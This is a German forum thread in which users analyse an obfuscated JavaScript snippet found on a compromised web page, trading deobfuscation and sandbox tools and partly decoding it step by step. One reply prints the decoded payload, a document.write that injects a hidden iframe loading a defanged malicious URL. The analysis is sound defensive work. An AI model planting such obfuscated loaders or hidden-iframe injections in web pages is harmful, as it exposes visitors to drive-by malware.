Forum: PC-Programmierung Analysetool/Sandbox für JS?


von troll (Gast)


Lesenswert?

Hallo Experten,

in Beitrag "Psion Organiser II" wurde ein wunderbarer 
Link zu einem bösen JS-Skript gepostet:

>  www[dot]schwitt[dot]de/radiobasteln/index.html (GEFAHR! VIRUS!)

Das Skript sieht so aus
1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$]....
und ich wüsste gerne was da passiert.

1. Versuch: Malzilla --> "can't be compiled" ohne weitere Infos
2. Versuch: Per Hand --> Ich hab echt kaum Ahnung von JS, das wird so 
nichts.

Kennt jemand ein Tool was dabei helfen kann diesen Brocken zu 
analysieren? Sowas wie Malzilla aber besser, also ein Interpreter mit 
gutem Debugger und eine Sandbox drumherum?

Gefunden habe ich http://www.relentless-coding.org/projects/jsdetox/info 
aber das läuft nur unter Linux, ich nutze Win XP.

von .... (Gast)


Lesenswert?

troll schrieb:
> in Beitrag "Psion Organiser II" wurde ein wunderbarer
> Link zu einem bösen JS-Skript gepostet

Woher nimmst du die Annahme, dass dieses Skript böse ist?

von troll (Gast)


Lesenswert?

.... schrieb:
> Woher nimmst du die Annahme, dass dieses Skript böse ist?
aus diesem Beitrag: Beitrag "Re: Psion Organiser II"

von .... (Gast)


Lesenswert?

Ist aber seltsamer Code:


Was macht dieses Stück?

$=~[];

Der Variable $ wird ein Wert zugewiesen. Dieser Wert ist bitwise not 
eines leeren Arrays. Verstehe nicht, was das soll...?

von troll (Gast)


Lesenswert?

.... schrieb:
> Ist aber seltsamer Code:
Das kannst du aber laut sagen, deshalb interessiert er mich ja. :-)

> $=~[];
Wenn man da ein document.write hintersetzt kommt iirc −2.147.483.648 
raus, also der min. Wert bei 32 Bit signed.

von Läubi .. (laeubi) Benutzerseite


Lesenswert?

troll schrieb:
1
$=~[];
Leeres Array anlegen und bitweises invertieren. Sollte das gleiche 
ergeben wie $=~0;
1
$={
weise nun $ ein Objekt/Hash mit folgenden Eigenschaften zu:
1
___:++$,
2
$$$$:(![]+"")[$],
3
__$:++$,
4
$_$_:(![]+"")[$],
5
_$_:++$,
6
$_$$:({}+"")[$]....
Falls das Skript schädlich ist, und nicht nur Unsinn und/oder 
Obfuscated (die ... sollen wohl sagen es geht noch weiter) hätte ich 
jetzt getippt, das irgendwelche Bufferoverflows oder Browserabstürze 
damit ausgelöst werden sollen.

von troll (Gast)


Lesenswert?

Läubi .. schrieb:
> weise nun $ ein Objekt/Hash mit folgenden Eigenschaften zu:
Ja, bis dahin bin ich auch gekommen aber dann wurde es mir zu 
langwierig, ich wäre wohl immernoch am rätseln...
Das Skript ist noch deutlich länger, siehe Link (einfach mit wget laden, 
dann passiert da nichts). Ich tippe darauf dass das Skript einen iframe 
in die Seite schreibt wo dann weiterer Mist geladen wird. Siehe auch 
Heise Security Tatort Internet (sehr zu empfehlen!).

von troll (Gast)


Lesenswert?

(Die einfachste(?) Lösung wäre wohl den Kram mal in einer VM auszuführen 
und zu beobachten, aber das schafft mein alter PC nur mit viel Mühe, 
darauf hab ich keine Lust.)

von ich (Gast)


Lesenswert?

Machen tut das letztendlich das:
1
document.write('<div width="600px" height="600px" style="visibility:hidden;"><iframe width="100%" height="100%" src="h*t*t*p*:*/*/f*r.i*n*t*e*g*r*a*b*u*i*l*t*.*u*s*/*d*a*t*a*/*s*e*a*r*c*h*.*p*h*p*?*q*=*s*e*a*r*c*h*"></iframe></div>');
Sternchen durch mich eingefügt, ich hab keine Ahnung was hinter der 
Seite steckt. Alle Versuche auf eigene Gefahr.

von troll (Gast)


Lesenswert?

@ich
Danke, mein Verdacht (iframe) bestätigt sich. Der Link geht bei mir 
nicht, host not found, vielleicht liegts an meinem DNS-Server.

Bleibt die große Frage: Wie hast du das rausgefunden?

von ich (Gast)


Lesenswert?

Betriebsgeheimnis ;)

erstmal etwas Ordnung reingebracht:
1
$=~[];
2
$={
3
  ___:++$,  //0
4
  $$$$:(![]+"")[$],  //f
5
  __$:++$,  //1
6
  $_$_:(![]+"")[$],  //a
7
  _$_:++$,  //2
8
  $_$$:({}+"")[$],  //b
9
  $$_$:($[$]+"")[$],  //d
10
  _$$:++$,  //3
11
  $$$_:(!""+"")[$],  //e
12
  $__:++$,  //4
13
  $_$:++$,  //5
14
  $$__:({}+"")[$],  //c
15
  $$_:++$,  //6
16
  $$$:++$,  //7
17
  $___:++$,  //8
18
  $__$:++$  //9
19
};
20
$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;
21
$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;
22
$.$=($.___)[$.$_][$.$_];
Bis dahin kann man das ganz gut z.B. mit der JavaScript Konsole von 
Mozilla Firefox auswerten wenn man nichts besseres hat. Den Rest hab ich 
dann mit eigenen Tools entziffert, geht aber bestimmt mit Handarbeit 
auch in der Javascript-Konsole.
1
$.$(
2
  $.$(
3
    //Ewig viel Zeugs, das auch nur wieder einen langen string zusammensetzt wie oben.
4
  )()
5
)();

von ich (Gast)


Lesenswert?

Sorry wegen Doppelpost...

Hab was unterschlagen... Streng genommen macht das Script im Orginal gar 
nichts, weil nämlich aus irgend einem Grund ein paar Backslash verloren 
gegangen sind... Aber würde es funktionieren würde es das machen.

von DirkB (Gast)


Lesenswert?

ganz nett:
jsunpack.jeek.org/?report

von troll (Gast)


Lesenswert?

ich schrieb:
> Bis dahin kann man das ganz gut z.B. mit der JavaScript Konsole von
> Mozilla Firefox auswerten wenn man nichts besseres hat.
Gute Idee, wäre mir allerdings zu unsicher sofern das nicht in einer VM 
läuft. Auch in FF gibt es ab und zu Sicherheitslücken und wer weiß was 
sich die bösen Schreiberlinge so ausgedacht haben...

Auf jeden Fall hast du mehr Ahnung von JS als ich (was auch nicht weiter 
schwer ist...), das ist natürlich schon mal ein großer Vorteil!

DirkB schrieb:
> ganz nett:
> jsunpack.jeek.org/?report
Ach ja, das wurde auch bei Heise Security verlinkt. Scheint das 
Skript/die Seite aber nicht für verdächtig zu halten oder verstehe ich 
das falsch?
http://jsunpack.jeek.org/?report=125e3886caa27582225bafbf4ca7d1cf16b7036e
http://jsunpack.jeek.org/?report=b28c00776e02067713d7fb2c74036590a81d9906

von troll (Gast)


Lesenswert?

Sorry - ich war zu schnell.
troll schrieb:
> Scheint das
> Skript/die Seite aber nicht für verdächtig zu halten oder verstehe ich
> das falsch?
Was wohl hier dran liegen dürfte:
>Streng genommen macht das Script im Orginal gar
>nichts, weil nämlich aus irgend einem Grund ein paar Backslash verloren
>gegangen sind...

Bitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.